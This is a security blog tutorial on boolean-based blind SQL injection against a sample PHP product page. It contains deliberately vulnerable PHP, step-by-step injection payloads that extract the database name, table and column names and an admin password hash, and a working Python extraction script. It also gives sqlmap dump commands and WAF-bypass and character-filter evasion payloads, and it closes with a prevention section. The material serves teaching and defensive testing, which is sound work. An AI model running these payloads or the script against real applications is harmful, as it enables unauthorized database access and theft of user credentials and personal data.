Boolean Based Blind SQL Injection
Thilan Dissanayaka Application Security Feb 12, 2020

Boolean Based Blind SQL Injection

In regular SQL injection, you can see the output. You inject a UNION SELECT, and the data shows up on the page. Easy.

But what happens when the application doesn't show you anything? No query results. No error messages. No verbose output. Just a page that either loads normally or doesn't. That's blind SQL injection — and it's far more common in real-world applications than the textbook examples.

There are two main types of blind SQLi:

  • Boolean-based — You ask true/false questions and observe the page response
  • Time-based — You use SLEEP() to infer answers from response time

In this post, we're going deep into boolean-based blind SQL injection — how it works, how to extract data character by character, and how to automate the entire process.

The Setup — A Vulnerable Product Page

Imagine a product page with a URL like:

http://victim.com/product.php?id=5

And here's the backend PHP code:

<?php
$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = '$id'";
$result = mysqli_query($conn, $query);

if (mysqli_num_rows($result) > 0) {
    $row = mysqli_fetch_assoc($result);
    echo "Product Name: " . $row['name'];
    echo "Price: $" . $row['price'];
} else {
    echo "No product found.";
}
?>

Two things to notice:

  1. User input is directly concatenated into the SQL query — classic injection vulnerability
  2. The page only has two states — either it shows the product, or it says "No product found"

There are no SQL error messages. No raw query output. No UNION SELECT results displayed. The application is vulnerable, but it's blind.

Confirming the Injection

Before extracting data, we need to confirm that injection is possible and that we can control the query's boolean outcome.

True Condition

http://victim.com/product.php?id=5' AND 1=1 --

The resulting SQL:

SELECT * FROM products WHERE id = '5' AND 1=1 -- '

1=1 is always true, so the WHERE clause is effectively unchanged. The product page loads normally.

False Condition

http://victim.com/product.php?id=5' AND 1=2 --

The resulting SQL:

SELECT * FROM products WHERE id = '5' AND 1=2 -- '

1=2 is always false. The AND makes the entire WHERE clause false, so no rows are returned. The page shows "No product found."

We now have two distinct responses:

Injected Condition Result Page Behavior
AND 1=1 (true) Query returns rows Product is displayed
AND 1=2 (false) Query returns nothing "No product found"

This is our oracle. We can ask the database any yes/no question, and the page tells us the answer. That's all we need.

Extracting Data — Character by Character

Here's where it gets interesting. We can't see query output directly, but we can ask: "Is the first character of the database name equal to 'a'?" If the page loads normally — yes. If it shows "No product found" — no. Then we try 'b', 'c', and so on.

Step 1: Find the Database Name Length

Before guessing characters, let's figure out how many characters we're dealing with:

http://victim.com/product.php?id=5' AND LENGTH(database())=1 --

Page shows "No product found." Length is not 1.

http://victim.com/product.php?id=5' AND LENGTH(database())=2 --

Still "No product found." Not 2 either.

We keep going:

http://victim.com/product.php?id=5' AND LENGTH(database())=5 --

The product page loads normally. The database name is 5 characters long.

Step 2: Extract the Database Name

Now we extract each character using SUBSTRING():

SUBSTRING(database(), position, length)

First character:

?id=5' AND SUBSTRING(database(),1,1)='a' --    → No product found
?id=5' AND SUBSTRING(database(),1,1)='b' --    → No product found
?id=5' AND SUBSTRING(database(),1,1)='c' --    → No product found
...
?id=5' AND SUBSTRING(database(),1,1)='s' --    → Product loads! ✓

First character is s.

Second character:

?id=5' AND SUBSTRING(database(),2,1)='a' --    → No product found
...
?id=5' AND SUBSTRING(database(),2,1)='h' --    → Product loads! ✓

Second character is h.

We continue for all 5 positions and get: shop1. That's our database name.

Speeding It Up with ASCII

Instead of guessing every printable character, we can use ASCII() and binary search. ASCII values for lowercase letters range from 97 (a) to 122 (z). Numbers are 48–57. We can use comparison operators to narrow it down fast:

-- Is the ASCII value of the first character greater than 109 ('m')?
?id=5' AND ASCII(SUBSTRING(database(),1,1)) > 109 --    → Product loads (true)

-- Greater than 115 ('s')?
?id=5' AND ASCII(SUBSTRING(database(),1,1)) > 115 --    → No product found (false)

-- Greater than 114 ('r')?
?id=5' AND ASCII(SUBSTRING(database(),1,1)) > 114 --    → Product loads (true)

-- So it's between 115 and 115... it's 115, which is 's'
?id=5' AND ASCII(SUBSTRING(database(),1,1)) = 115 --    → Product loads! ✓

With binary search, we find each character in at most 7 requests instead of potentially 36+ (letters + numbers). For a 5-character database name, that's ~35 requests instead of ~180. At scale, this difference is massive.

A Complete Extraction — From Database to Data

Let's walk through the full attack chain — extracting the database name, table names, column names, and finally the actual data.

Extracting Table Names

MySQL's information_schema database stores metadata about all databases, tables, and columns. We can query it through our injection.

How many tables are in the database?

?id=5' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='shop1')=3 --

If the page loads, there are 3 tables.

First character of the first table name:

?id=5' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='shop1' LIMIT 0,1),1,1)='u' --

Product loads — first table starts with 'u'.

We continue extracting character by character. Eventually we find the tables: users, products, orders.

Extracting Column Names

Now let's find the columns in the users table:

?id=5' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema='shop1' AND table_name='users' LIMIT 0,1),1,1)='i' --

We extract character by character and find columns: id, username, password, email.

Extracting Actual Data

Now the payload — dump the admin's password:

-- How long is the first user's password?
?id=5' AND LENGTH((SELECT password FROM users LIMIT 0,1))=32 --    → Product loads!

32 characters — looks like an MD5 hash. Let's extract it:

?id=5' AND SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1)='5' --    → Product loads!
?id=5' AND SUBSTRING((SELECT password FROM users LIMIT 0,1),2,1)='f' --    → Product loads!
?id=5' AND SUBSTRING((SELECT password FROM users LIMIT 0,1),3,1)='4' --    → Product loads!
...

32 characters, ~7 requests each with binary search = ~224 requests to extract a full password hash. An automated script runs through that in seconds.

Building a Simple Extraction Script

Let's see what this looks like automated. Here's a Python script that extracts data using boolean-based blind SQLi:

import requests

TARGET = "http://victim.com/product.php"
TRUE_INDICATOR = "Product Name:"  # Text that appears when condition is true

def inject(payload):
    """Send a request with the injected payload and check if condition is true."""
    url = f"{TARGET}?id=5' AND {payload} -- "
    response = requests.get(url)
    return TRUE_INDICATOR in response.text

def extract_string(query, max_length=50):
    """Extract a string from the database character by character."""
    result = ""

    # First, find the length
    length = 0
    for i in range(1, max_length + 1):
        if inject(f"LENGTH(({query}))={i}"):
            length = i
            break

    if length == 0:
        return None

    # Extract each character using binary search
    for pos in range(1, length + 1):
        low, high = 32, 126  # Printable ASCII range

        while low < high:
            mid = (low + high) // 2
            if inject(f"ASCII(SUBSTRING(({query}),{pos},1))>{mid}"):
                low = mid + 1
            else:
                high = mid

        result += chr(low)
        print(f"[*] Extracted so far: {result}")

    return result


# Extract database name
print("[+] Extracting database name...")
db_name = extract_string("SELECT database()")
print(f"[+] Database: {db_name}")

# Extract first table name
print("[+] Extracting first table name...")
table = extract_string(
    f"SELECT table_name FROM information_schema.tables "
    f"WHERE table_schema='{db_name}' LIMIT 0,1"
)
print(f"[+] First table: {table}")

# Extract admin password
print("[+] Extracting admin password...")
password = extract_string(
    "SELECT password FROM users WHERE username='admin' LIMIT 0,1"
)
print(f"[+] Admin password hash: {password}")

Running this produces output like:

[+] Extracting database name...
[*] Extracted so far: s
[*] Extracted so far: sh
[*] Extracted so far: sho
[*] Extracted so far: shop
[*] Extracted so far: shop1
[+] Database: shop1

[+] Extracting first table name...
[*] Extracted so far: u
[*] Extracted so far: us
[*] Extracted so far: use
[*] Extracted so far: user
[*] Extracted so far: users
[+] First table: users

[+] Extracting admin password...
[*] Extracted so far: 5
[*] Extracted so far: 5f
[*] Extracted so far: 5f4
...
[+] Admin password hash: 5f4dcc3b5aa765d61d8327deb882cf99

Each character takes about 7 HTTP requests (binary search over ~95 printable ASCII values). The entire database name extraction takes ~35 requests. A password hash takes ~224 requests. The script runs through all of this in seconds.

Using sqlmap for Boolean-Based Blind SQLi

You don't always need a custom script. sqlmap handles blind injection beautifully:

# Detect and exploit the injection point
$ sqlmap -u "http://victim.com/product.php?id=5" --technique=B --dbs

# The --technique=B flag tells sqlmap to use boolean-based blind only
# Output:
# [*] available databases [3]:
# [*] information_schema
# [*] mysql
# [*] shop1

# Enumerate tables
$ sqlmap -u "http://victim.com/product.php?id=5" -D shop1 --tables

# Dump the users table
$ sqlmap -u "http://victim.com/product.php?id=5" -D shop1 -T users --dump

sqlmap automatically detects the true/false indicators, optimizes its extraction with binary search, handles encoding, and can even bypass WAFs. Under the hood, it's doing exactly what our Python script does — just much more robustly.

Real-World Complications

The examples above are clean and straightforward. Real-world applications throw curveballs.

The Response Isn't Binary

Sometimes the difference between true and false isn't as clear as "product displayed" vs "no product found." The page might:

  • Show the same content but with a slightly different length
  • Return the same HTML but with different headers
  • Redirect to different pages
  • Show different CSS classes or error codes

You need to identify a reliable indicator — something that consistently differs between true and false responses. It might be a specific string, the response length, the HTTP status code, or even a particular HTML element.

WAF Blocking Your Payloads

Web Application Firewalls might block requests containing keywords like AND, SUBSTRING, SELECT, or comment markers. Common bypasses:

-- Replacing spaces with comments
?id=5'/**/AND/**/1=1/**/--

-- Using alternative syntax
?id=5' AND MID(database(),1,1)='s' --        -- MID() instead of SUBSTRING()
?id=5' AND ORD(MID(database(),1,1))>109 --   -- ORD() instead of ASCII()

-- Case manipulation
?id=5' AnD 1=1 --

-- URL encoding
?id=5'%20AND%201%3D1%20--%20

-- Double URL encoding (if the app decodes twice)
?id=5'%2520AND%25201%253D1%2520--%2520

Numeric Injection Points

Not all injection points are in string contexts. If the parameter is numeric:

-- No quotes needed
?id=5 AND 1=1 --
?id=5 AND ASCII(SUBSTRING(database(),1,1))>109 --

Notice there's no ' before AND. The id value is used directly as a number in the query, so you don't need to close a string first.

Filtered Characters

If the application filters specific characters:

-- Single quotes filtered? Use hex encoding
?id=5' AND SUBSTRING(database(),1,1)=0x73 --    -- 0x73 = 's'

-- Commas filtered? Use FROM...FOR syntax
?id=5' AND SUBSTRING(database() FROM 1 FOR 1)='s' --

-- Spaces filtered? Use tabs, newlines, or comments
?id=5'%09AND%091=1%09--    -- %09 is a tab character

Boolean-Based Blind SQLi on Different Databases

The core concept is the same, but the syntax varies across database systems.

MySQL

-- String extraction
SUBSTRING(string, pos, len)
MID(string, pos, len)

-- ASCII value
ASCII(char)
ORD(char)

-- Conditional
IF(condition, true_value, false_value)

PostgreSQL

-- String extraction
SUBSTRING(string FROM pos FOR len)

-- ASCII value
ASCII(char)

-- Conditional
CASE WHEN condition THEN true_value ELSE false_value END

Microsoft SQL Server

-- String extraction
SUBSTRING(string, pos, len)

-- ASCII value
ASCII(char)

-- Conditional
IIF(condition, true_value, false_value)     -- SQL Server 2012+
CASE WHEN condition THEN 1 ELSE 0 END

SQLite

-- String extraction
SUBSTR(string, pos, len)

-- ASCII value (SQLite doesn't have ASCII(), use unicode())
UNICODE(char)

-- Conditional
CASE WHEN condition THEN 1 ELSE 0 END

Prevention

Boolean-based blind SQLi is exploited differently than regular SQLi, but the prevention is exactly the same.

Prepared Statements

<?php
// Vulnerable
$query = "SELECT * FROM products WHERE id = '$id'";

// Fixed — parameterized query
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = ?");
$stmt->execute([$id]);
$product = $stmt->fetch();
?>

With a prepared statement, the database knows that $id is a value, not SQL code. Even if the attacker sends 5' AND 1=1 --, it's treated as a literal string — the database looks for a product with that exact ID and finds nothing. No injection.

Input Validation

For a product ID that should always be a number:

$id = intval($_GET['id']);  // Forces integer — no injection possible

If the value should be numeric, cast it. Don't just filter characters. intval("5' AND 1=1 --") returns 5. Problem solved.

Least Privilege

Even if blind SQLi gets through, limit the damage:

  • The application's database user shouldn't have access to information_schema if it doesn't need it
  • Use read-only accounts for pages that only display data
  • Restrict access to other databases on the same server

Final Thoughts

Boolean-based blind SQL injection is slower and more tedious than regular SQLi, but it's just as dangerous. The attacker can extract everything — database names, table schemas, user credentials, personal data — it just takes more requests. And with binary search optimization and automation tools like sqlmap, "more requests" means seconds or minutes, not hours.

The key insight is this: any observable difference in the application's behavior can become an information channel. A different page, a different word, a different response length — that's enough to extract an entire database, one bit at a time.

The fix hasn't changed since the 1990s: use prepared statements. Separate your data from your code. It's that simple.

Stay curious, keep testing.

ALSO READ
Remote Code Execution (RCE)
Jan 02 Application Security

Remote Code Execution (RCE) is the holy grail of application security vulnerabilities. It allows an attacker to execute arbitrary code on a remote server — and the consequences are as bad as it sounds. In this post, we'll go deep into RCE across multiple languages, including PHP, Java, Python, and Node.js.

Error based SQL Injection
Feb 15 Application Security

In the previous example, we saw how a classic SQL Injection Login Bypass works. SQL Injection is not all about that. The real fun is we can extract the data from the database. In this tutorial, we...

SQL Injection Login Bypass
Feb 10 Application Security

SQL Injection (SQLi) is one of the oldest and most fundamental web application vulnerabilities. While modern frameworks have made it harder to introduce, understanding SQL injection is essential for anyone learning web security. In this post, we'll break it down from the ground up using a classic login bypass.

Exploiting a heap buffer overflow in linux
Apr 12 Exploit development

In the [previous article](/heap-internals-how-glibc-malloc-works/), we dissected glibc's malloc — chunks, bins, tcache, coalescing, and the metadata that holds it all together. Now we break...

Exploiting a Stack Buffer Overflow on Windows
Apr 12 Exploit development

In a previous tutorial we discusses how we can exploit a buffer overflow vulnerability on a Linux machine. I wen through all theories in depth and explained each step. Now today we are going to jump...

Access Control Models
Apr 08 Identity & Access Management

Access control is one of the most fundamental concepts in security. Every time you set file permissions, assign user roles, or restrict access to a resource, you're implementing some form of access control. But not all access control is created equal...